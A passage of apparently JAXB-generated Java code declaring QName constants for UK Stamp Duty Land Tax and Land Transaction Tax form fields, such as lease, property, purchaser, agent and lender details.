_SDLTSDLT4SDLT4InterestCreatedCode_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_InterestCreatedCode"); private final static QName _SDLTSDLT4SDLT4InterestCreatedCodeDetailed_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_InterestCreatedCodeDetailed"); private final static QName _SDLTSDLT4SDLT4LeaseTypeCode_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_LeaseTypeCode"); private final static QName _SDLTSDLT4SDLT4LeaseStartDate_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_LeaseStartDate"); private final static QName _SDLTSDLT4SDLT4LeaseEndDate_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_LeaseEndDate"); private final static QName _SDLTSDLT4SDLT4RentFreePeriod_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_RentFreePeriod"); private final static QName _SDLTSDLT4SDLT4TotalLeasePremiumPayable_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_TotalLeasePremiumPayable"); private final static QName _SDLTSDLT4SDLT4EndDateForStartingRent_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_EndDateForStartingRent"); private final static QName _SDLTSDLT4SDLT4LaterRentKnownYesNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_LaterRentKnownYesNo"); private final static QName _SDLTSDLT4SDLT4LeaseAmountVAT_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_LeaseAmountVAT"); private final static QName _SDLTSDLT4SDLT4TotalLeasePremiumPaid_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_TotalLeasePremiumPaid"); private final static QName _SDLTSDLT4SDLT4NetPresentValue_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_NetPresentValue"); private final static QName _SDLTSDLT4SDLT4TotalLeasePremiumTaxPayable_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_TotalLeasePremiumTaxPayable"); private final static QName _SDLTSDLT4SDLT4TotalLeaseNPVTaxPayable_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_TotalLeaseNPVTaxPayable"); private final static QName _SDLTSDLT4SDLT4AnyTermsSurrendered_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_AnyTermsSurrendered"); private final static QName _SDLTSDLT4SDLT4BreakClauseTypeCode_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_BreakClauseTypeCode"); private final static QName _SDLTSDLT4SDLT4BreakClauseDate_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_BreakClauseDate"); private final static QName _SDLTSDLT4SDLT4ConditionsOptionToRenew_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_ConditionsOptionToRenew"); private final static QName _SDLTSDLT4SDLT4ConditionsUnascertainableRent_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_ConditionsUnascertainableRent"); private final static QName _SDLTSDLT4SDLT4ConditionsMarketRent_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_ConditionsMarketRent"); private final static QName _SDLTSDLT4SDLT4ConditionsContingentReservedRent_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_ConditionsContingentReservedRent"); private final static QName _SDLTSDLT4SDLT4ConditionsTurnoverRent_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_ConditionsTurnoverRent"); private final static QName _SDLTSDLT4SDLT4PropertyRentReviewFrequency_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_PropertyRentReviewFrequency"); private final static QName _SDLTSDLT4SDLT4FirstReviewDate_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_FirstReviewDate"); private final static QName _SDLTSDLT4SDLT4ReviewClauseType_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_ReviewClauseType"); private final static QName _SDLTSDLT4SDLT4DateOfRentChange_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_DateOfRentChange"); private final static QName _SDLTSDLT4SDLT4PropertyServiceChargeAmount_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_PropertyServiceChargeAmount"); private final static QName _SDLTSDLT4SDLT4PropertyServiceChargeFrequency_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_PropertyServiceChargeFrequency"); private final static QName _SDLTSDLT4SDLT4ConsiderationTenant2LandlordCode1_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_ConsiderationTenant2LandlordCode1"); private final static QName _SDLTSDLT4SDLT4ConsiderationTenant2LandlordCode2_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_ConsiderationTenant2LandlordCode2"); private final static QName _SDLTSDLT4SDLT4ConsiderationTenant2LandlordCode3_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_ConsiderationTenant2LandlordCode3"); private final static QName _SDLTSDLT4SDLT4ConsiderationTenant2LandlordCode4_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_ConsiderationTenant2LandlordCode4"); private final static QName _SDLTSDLT4SDLT4ConsiderationLandlord2TenantCode1_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_ConsiderationLandlord2TenantCode1"); private final static QName _SDLTSDLT4SDLT4ConsiderationLandlord2TenantCode2_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_ConsiderationLandlord2TenantCode2"); private final static QName _SDLTSDLT4SDLT4ConsiderationLandlord2TenantCode3_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_ConsiderationLandlord2TenantCode3"); private final static QName _SDLTSDLT4SDLT4ConsiderationLandlord2TenantCode4_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT4_ConsiderationLandlord2TenantCode4"); private final static QName _SDLTSDLT3SDLT3PropertyTypeCode_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT3_PropertyTypeCode"); private final static QName _SDLTSDLT3SDLT3PropertyLocalAuthorityCode_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT3_PropertyLocalAuthorityCode"); private final static QName _SDLTSDLT3SDLT3PropertyTitleNumber_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT3_PropertyTitleNumber"); private final static QName _SDLTSDLT3SDLT3PropertyNLPGUPRN_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT3_PropertyNLPGUPRN"); private final static QName _SDLTSDLT3SDLT3PropertyAddressBuildingNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT3_PropertyAddressBuildingNo"); private final static QName _SDLTSDLT3SDLT3PropertyAddressPostcode_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT3_PropertyAddressPostcode"); private final static QName _SDLTSDLT3SDLT3PropertyAddress1_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT3_PropertyAddress1"); private final static QName _SDLTSDLT3SDLT3PropertyAddress2_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT3_PropertyAddress2"); private final static QName _SDLTSDLT3SDLT3PropertyAddress3_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT3_PropertyAddress3"); private final static QName _SDLTSDLT3SDLT3PropertyAddress4_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT3_PropertyAddress4"); private final static QName _SDLTSDLT3SDLT3PropertyUnitsHectareMetres_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT3_PropertyUnitsHectareMetres"); private final static QName _SDLTSDLT3SDLT3PropertyAreaSize_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT3_PropertyAreaSize"); private final static QName _SDLTSDLT3SDLT3PropertyMineralRightsYesNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT3_PropertyMineralRightsYesNo"); private final static QName _SDLTSDLT3SDLT3PropertyPlanAttachedYesNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT3_PropertyPlanAttachedYesNo"); private final static QName _SDLTSDLT3SDLT3InterestCreatedCode_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT3_InterestCreatedCode"); private final static QName _SDLTSDLT3SDLT3InterestCreatedCodeDetailed_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT3_InterestCreatedCodeDetailed"); private final static QName _SDLTSDLT3LTTLandArgiculturalYesNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_LandArgiculturalYesNo"); private final static QName _SDLTSDLT3LTTLandSituationYesNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_LandSituationYesNo"); private final static QName _SDLTSDLT3LTTMineralsRightsYesNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_MineralsRightsYesNo"); private final static QName _SDLTSDLT3LTTLandHasAddressYesNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_LandHasAddressYesNo"); private final static QName _SDLTSDLT3LTTPropertyLocalAuthorityCode_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_PropertyLocalAuthorityCode"); private final static QName _SDLTSDLT3LTTIsLandExchangedYesNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_IsLandExchangedYesNo"); private final static QName _SDLTSDLT3LTTLandExchangedPostcode_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_LandExchangedPostcode"); private final static QName _SDLTSDLT3LTTLandExchangedBuildingNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_LandExchangedBuildingNo"); private final static QName _SDLTSDLT3LTTLandExchangedAddress1_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_LandExchangedAddress1"); private final static QName _SDLTSDLT3LTTLandExchangedAddress2_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_LandExchangedAddress2"); private final static QName _SDLTSDLT3LTTLandExchangedAddress3_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_LandExchangedAddress3"); private final static QName _SDLTSDLT3LTTLandExchangedAddress4_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_LandExchangedAddress4"); private final static QName _SDLTSDLT2SDLT2AdditionalVendorOrPuchaser_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT2_AdditionalVendorOrPuchaser"); private final static QName _SDLTSDLT2SDLT2AdditionalVendorPurchaserTitle_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT2_AdditionalVendorPurchaserTitle"); private final static QName _SDLTSDLT2SDLT2AdditionalVendorPurchaserSurname_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT2_AdditionalVendorPurchaserSurname"); private final static QName _SDLTSDLT2SDLT2AdditionalVendorPurchaserFirstName1_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT2_AdditionalVendorPurchaserFirstName1"); private final static QName _SDLTSDLT2SDLT2AdditionalVendorPurchaserFirstName2_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT2_AdditionalVendorPurchaserFirstName2"); private final static QName _SDLTSDLT2SDLT2AdditionalVendorPurchaserAddressPostcode_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT2_AdditionalVendorPurchaserAddressPostcode"); private final static QName _SDLTSDLT2SDLT2AdditionalVendorPurchaserAddressBuildingNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT2_AdditionalVendorPurchaserAddressBuildingNo"); private final static QName _SDLTSDLT2SDLT2AdditionalVendorPurchaserAddress1_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT2_AdditionalVendorPurchaserAddress1"); private final static QName _SDLTSDLT2SDLT2AdditionalVendorPurchaserAddress2_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT2_AdditionalVendorPurchaserAddress2"); private final static QName _SDLTSDLT2SDLT2AdditionalVendorPurchaserAddress3_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT2_AdditionalVendorPurchaserAddress3"); private final static QName _SDLTSDLT2SDLT2AdditionalVendorPurchaserAddress4_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT2_AdditionalVendorPurchaserAddress4"); private final static QName _SDLTSDLT2SDLT2PurchaserVendorConnectedYesNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT2_PurchaserVendorConnectedYesNo"); private final static QName _SDLTSDLT2SDLT2AdditionalPurchaserActingAsTrusteeYesNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "SDLT2_AdditionalPurchaserActingAsTrusteeYesNo"); private final static QName _SDLTSDLT2LTTIndividualOrOrganisation_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_IndividualOrOrganisation"); private final static QName _SDLTSDLT2LTTSameAsFirstYesNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_SameAsFirstYesNo"); private final static QName _SDLTSDLT2LTTPhone_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_Phone"); private final static QName _SDLTSDLT2LTTPurchaserDoB_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_PurchaserDoB"); private final static QName _SDLTSDLT2LTTPurchaserVATRegNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_PurchaserVATRegNo"); private final static QName _SDLTSDLT2LTTPurchaserTaxRef_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_PurchaserTaxRef"); private final static QName _SDLTSDLT2LTTPurchaserCompanyNumber_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_PurchaserCompanyNumber"); private final static QName _SDLTSDLT2LTTPurchaserPlaceOfIssue_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_PurchaserPlaceOfIssue"); private final static QName _SDLTSDLT2LTTPurchaserNINumber_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_PurchaserNINumber"); private final static QName _SDLTSDLT2LTTPurchaserCorrespondenceToYesNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_PurchaserCorrespondenceToYesNo"); private final static QName _SDLTSDLT2LTTPurchaserEmail_QNAME = new QName("http://sdlt.co.uk/SDLT", "LTT_PurchaserEmail"); private final static QName _SDLTSDLT2AP1AP1IsVendorRepresented_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_IsVendorRepresented"); private final static QName _SDLTSDLT2AP1AP1VendorRepresentedBy_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorRepresentedBy"); private final static QName _SDLTSDLT2AP1AP1VendorAgentName_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorAgentName"); private final static QName _SDLTSDLT2AP1AP1IsPurchRepresented_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_IsPurchRepresented"); private final static QName _SDLTSDLT2AP1AP1PurchRepresentedBy_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchRepresentedBy"); private final static QName _SDLTSDLT2AP1AP1PurchAgentName_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchAgentName"); private final static QName _SDLTSDLT2AP1AP1IsPurchaserService_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_IsPurchaserService"); private final static QName _SDLTSDLT2AP1AP1PurchaserServiceEmail_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchaserServiceEmail"); private final static QName _SDLTSDLT2AP1AP1PurchaserServiceHouseNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchaserServiceHouseNo"); private final static QName _SDLTSDLT2AP1AP1PurchaserServiceHouseNo2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchaserServiceHouseNo2"); private final static QName _SDLTSDLT2AP1AP1PurchaserServiceAddress1_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchaserServiceAddress1"); private final static QName _SDLTSDLT2AP1AP1PurchaserServiceAddress2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchaserServiceAddress2"); private final static QName _SDLTSDLT2AP1AP1PurchaserServiceAddress3_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchaserServiceAddress3"); private final static QName _SDLTSDLT2AP1AP1PurchaserServicePostcode_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchaserServicePostcode"); private final static QName _SDLTSDLT2AP1AP1PurchaserServiceDXNumber_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchaserServiceDXNumber"); private final static QName _SDLTSDLT2AP1AP1PurchaserServiceDXExchange_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchaserServiceDXExchange"); private final static QName _SDLTSDLT2AP1AP1VendorAgentHouseNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorAgentHouseNo"); private final static QName _SDLTSDLT2AP1AP1VendorAgentHouseNo2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorAgentHouseNo2"); private final static QName _SDLTSDLT2AP1AP1VendorAgentAddress1_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorAgentAddress1"); private final static QName _SDLTSDLT2AP1AP1VendorAgentAddress2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorAgentAddress2"); private final static QName _SDLTSDLT2AP1AP1VendorAgentAddress3_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorAgentAddress3"); private final static QName _SDLTSDLT2AP1AP1VendorAgentPostcode_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorAgentPostcode"); private final static QName _SDLTSDLT2AP1AP1VendorAgentDXNumber_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorAgentDXNumber"); private final static QName _SDLTSDLT2AP1AP1VendorAgentDXExchange_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorAgentDXExchange"); private final static QName _SDLTSDLT2AP1AP1PurchAgentHouseNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchAgentHouseNo"); private final static QName _SDLTSDLT2AP1AP1PurchAgentHouseNo2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchAgentHouseNo2"); private final static QName _SDLTSDLT2AP1AP1PurchAgentAddress1_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchAgentAddress1"); private final static QName _SDLTSDLT2AP1AP1PurchAgentAddress2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchAgentAddress2"); private final static QName _SDLTSDLT2AP1AP1PurchAgentAddress3_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchAgentAddress3"); private final static QName _SDLTSDLT2AP1AP1PurchAgentPostcode_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchAgentPostcode"); private final static QName _SDLTSDLT2AP1AP1PurchAgentDXNumber_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchAgentDXNumber"); private final static QName _SDLTSDLT2AP1AP1PurchAgentDXExchange_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchAgentDXExchange"); private final static QName _SDLTSDLT2AP1AP1Role1_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Role1"); private final static QName _SDLTSDLT2AP1AP1Role2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_Role2"); private final static QName _SDLTSDLT2AP1AP1IsPurchLender_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_IsPurchLender"); private final static QName _SDLTSDLT2AP1AP1PurchLenderName_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchLenderName"); private final static QName _SDLTSDLT2AP1AP1PurchLenderMDCode_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchLenderMDCode"); private final static QName _SDLTSDLT2AP1AP1PurchLenderChargeDate_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchLenderChargeDate"); private final static QName _SDLTSDLT2AP1AP1IsPurchLenderRepresented_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_IsPurchLenderRepresented"); private final static QName _SDLTSDLT2AP1AP1PurchLenderRepresentedBy_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchLenderRepresentedBy"); private final static QName _SDLTSDLT2AP1AP1PurchLenderLodgeName_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchLenderLodgeName"); private final static QName _SDLTSDLT2AP1AP1PurchLenderLodgeHouseNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchLenderLodgeHouseNo"); private final static QName _SDLTSDLT2AP1AP1PurchLenderLodgeHouseNo2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchLenderLodgeHouseNo2"); private final static QName _SDLTSDLT2AP1AP1PurchLenderLodgeAddress1_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchLenderLodgeAddress1"); private final static QName _SDLTSDLT2AP1AP1PurchLenderLodgeAddress2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchLenderLodgeAddress2"); private final static QName _SDLTSDLT2AP1AP1PurchLenderLodgeAddress3_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchLenderLodgeAddress3"); private final static QName _SDLTSDLT2AP1AP1PurchLenderLodgePostcode_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchLenderLodgePostcode"); private final static QName _SDLTSDLT2AP1AP1PurchLenderLodgeDXNumber_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchLenderLodgeDXNumber"); private final static QName _SDLTSDLT2AP1AP1PurchLenderLodgeDXExchange_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchLenderLodgeDXExchange"); private final static QName _SDLTSDLT2AP1AP1PurchLenderRole1_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchLenderRole1"); private final static QName _SDLTSDLT2AP1AP1PurchLenderRole2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchLenderRole2"); private final static QName _SDLTSDLT2AP1AP1PurchServiceAddress1_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchServiceAddress1"); private final static QName _SDLTSDLT2AP1AP1PurchServiceAddress2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchServiceAddress2"); private final static QName _SDLTSDLT2AP1AP1PurchServiceAddress3_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchServiceAddress3"); private final static QName _SDLTSDLT2AP1AP1IsVendorLender_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_IsVendorLender"); private final static QName _SDLTSDLT2AP1AP1VendorLenderName_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorLenderName"); private final static QName _SDLTSDLT2AP1AP1VendorLenderMDCode_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorLenderMDCode"); private final static QName _SDLTSDLT2AP1AP1VendorLenderChargeDate_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorLenderChargeDate"); private final static QName _SDLTSDLT2AP1AP1IsVendorLenderRepresented_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_IsVendorLenderRepresented"); private final static QName _SDLTSDLT2AP1AP1VendorLenderRepresentedBy_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorLenderRepresentedBy"); private final static QName _SDLTSDLT2AP1AP1VendorLenderLodgeName_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorLenderLodgeName"); private final static QName _SDLTSDLT2AP1AP1VendorLenderLodgeHouseNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorLenderLodgeHouseNo"); private final static QName _SDLTSDLT2AP1AP1VendorLenderLodgeHouseNo2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorLenderLodgeHouseNo2"); private final static QName _SDLTSDLT2AP1AP1VendorLenderLodgeAddress1_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorLenderLodgeAddress1"); private final static QName _SDLTSDLT2AP1AP1VendorLenderLodgeAddress2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorLenderLodgeAddress2"); private final static QName _SDLTSDLT2AP1AP1VendorLenderLodgeAddress3_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorLenderLodgeAddress3"); private final static QName _SDLTSDLT2AP1AP1VendorLenderLodgePostcode_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorLenderLodgePostcode"); private final static QName _SDLTSDLT2AP1AP1VendorLenderLodgeDXNumber_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorLenderLodgeDXNumber"); private final static QName _SDLTSDLT2AP1AP1VendorLenderLodgeDXExchange_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorLenderLodgeDXExchange"); private final static QName _SDLTSDLT2AP1AP1VendorLenderRole1_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorLenderRole1"); private final static QName _SDLTSDLT2AP1AP1VendorLenderRole2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorLenderRole2"); private final static QName _SDLTSDLT2AP1AP1IsVendorLender2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_IsVendorLender2"); private final static QName _SDLTSDLT2AP1AP1VendorLender2Name_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorLender2Name"); private final static QName _SDLTSDLT2AP1AP1VendorLender2MDCode_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorLender2MDCode"); private final static QName _SDLTSDLT2AP1AP1VendorLender2ChargeDate_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorLender2ChargeDate"); private final static QName _SDLTSDLT2AP1AP1IsVendorLender2Represented_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_IsVendorLender2Represented"); private final static QName _SDLTSDLT2AP1AP1VendorLender2RepresentedBy_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorLender2RepresentedBy"); private final static QName _SDLTSDLT2AP1AP1VendorLender2LodgeName_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorLender2LodgeName"); private final static QName _SDLTSDLT2AP1AP1VendorLender2LodgeHouseNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorLender2LodgeHouseNo"); private final static QName _SDLTSDLT2AP1AP1VendorLender2LodgeHouseNo2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorLender2LodgeHouseNo2"); private final static QName _SDLTSDLT2AP1AP1VendorLender2LodgeAddress1_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorLender2LodgeAddress1"); private final static QName _SDLTSDLT2AP1AP1VendorLender2LodgeAddress2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorLender2LodgeAddress2"); private final static QName _SDLTSDLT2AP1AP1VendorLender2LodgeAddress3_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorLender2LodgeAddress3"); private final static QName _SDLTSDLT2AP1AP1VendorLender2LodgePostcode_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorLender2LodgePostcode"); private final static QName _SDLTSDLT2AP1AP1VendorLender2LodgeDXNumber_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorLender2LodgeDXNumber"); private final static QName _SDLTSDLT2AP1AP1VendorLender2LodgeDXExchange_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorLender2LodgeDXExchange"); private final static QName _SDLTSDLT2AP1AP1VendorLender2Role1_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorLender2Role1"); private final static QName _SDLTSDLT2AP1AP1VendorLender2Role2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_VendorLender2Role2"); private final static QName _SDLTSDLT2AP1AP1IsPurchLender2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_IsPurchLender2"); private final static QName _SDLTSDLT2AP1AP1PurchLender2Name_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchLender2Name"); private final static QName _SDLTSDLT2AP1AP1PurchLender2MDCode_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchLender2MDCode"); private final static QName _SDLTSDLT2AP1AP1PurchLender2ChargeDate_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchLender2ChargeDate"); private final static QName _SDLTSDLT2AP1AP1IsPurchLender2Represented_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_IsPurchLender2Represented"); private final static QName _SDLTSDLT2AP1AP1PurchLender2RepresentedBy_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchLender2RepresentedBy"); private final static QName _SDLTSDLT2AP1AP1PurchLender2LodgeName_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchLender2LodgeName"); private final static QName _SDLTSDLT2AP1AP1PurchLender2LodgeHouseNo_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchLender2LodgeHouseNo"); private final static QName _SDLTSDLT2AP1AP1PurchLender2LodgeHouseNo2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchLender2LodgeHouseNo2"); private final static QName _SDLTSDLT2AP1AP1PurchLender2LodgeAddress1_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchLender2LodgeAddress1"); private final static QName _SDLTSDLT2AP1AP1PurchLender2LodgeAddress2_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchLender2LodgeAddress2"); private final static QName _SDLTSDLT2AP1AP1PurchLender2LodgeAddress3_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchLender2LodgeAddress3"); private final static QName _SDLTSDLT2AP1AP1PurchLender2LodgePostcode_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchLender2LodgePostcode"); private final static QName _SDLTSDLT2AP1AP1PurchLender2LodgeDXNumber_QNAME = new QName("http://sdlt.co.uk/SDLT", "AP1_PurchLender2LodgeDXNumber"); private final static QName 